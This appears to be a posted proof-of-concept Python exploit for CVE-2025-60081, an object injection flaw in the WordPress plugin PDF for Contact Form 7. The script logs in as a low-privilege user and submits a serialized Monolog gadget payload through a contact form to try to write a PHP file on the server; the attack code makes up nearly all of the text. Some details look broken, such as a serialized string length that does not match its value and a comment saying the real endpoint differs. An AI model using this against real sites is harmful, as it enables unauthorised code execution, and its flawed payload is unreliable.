CVE-2025-60081 WordPress PDF for Contact Form 7插件反序列化漏洞

import requests import base64 import sys # CVE-2025-60081 PoC - PDF for Contact Form 7 Object Injection # Target: WordPress site with vulnerable PDF for Contact Form 7 plugin (<=6.5.0) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" # Low-privilege account PASSWORD = "password" # PHPGGC payload for arbitrary code execution via deserialization # This generates a gadget chain payload PAYLOAD_TEMPLATE = '''O:31:"Monolog\Handler\StreamHandler":2:{s:16:"%00*%00filename";s:9:"/tmp/test.php";s:15:"%00*%00errorMessages";N;}''' def get_auth_cookie(): """Authenticate and get WordPress session cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_object_injection(cookies): """Send malicious serialized payload via contact form""" form_url = f"{TARGET_URL}/" # Contact form URL # Construct payload with malicious serialized object # In real attack, this would target the PDF generation endpoint exploit_data = { 'your-name': 'Test User', 'your-email': '[email protected]', 'your-message': base64.b64encode(PAYLOAD_TEMPLATE.encode()).decode(), '_wpcf7': '123', # Contact form ID '_wpcf7_version': '5.8.0' } response = requests.post(form_url, data=exploit_data, cookies=cookies) return response.status_code == 200 def main(): print("[*] CVE-2025-60081 - PDF for Contact Form 7 Object Injection") print("[*] Target:", TARGET_URL) # Step 1: Get authenticated session print("\n[+] Step 1: Authenticating with low-privilege account...") cookies = get_auth_cookie() if not cookies: print("[-] Authentication failed!") return print("[+] Authentication successful!") # Step 2: Inject malicious payload print("\n[+] Step 2: Sending malicious serialized payload...") if exploit_object_injection(cookies): print("[+] Payload sent successfully!") print("[*] Check /tmp/test.php for evidence of code execution") else: print("[-] Payload injection failed!") if __name__ == "__main__": main()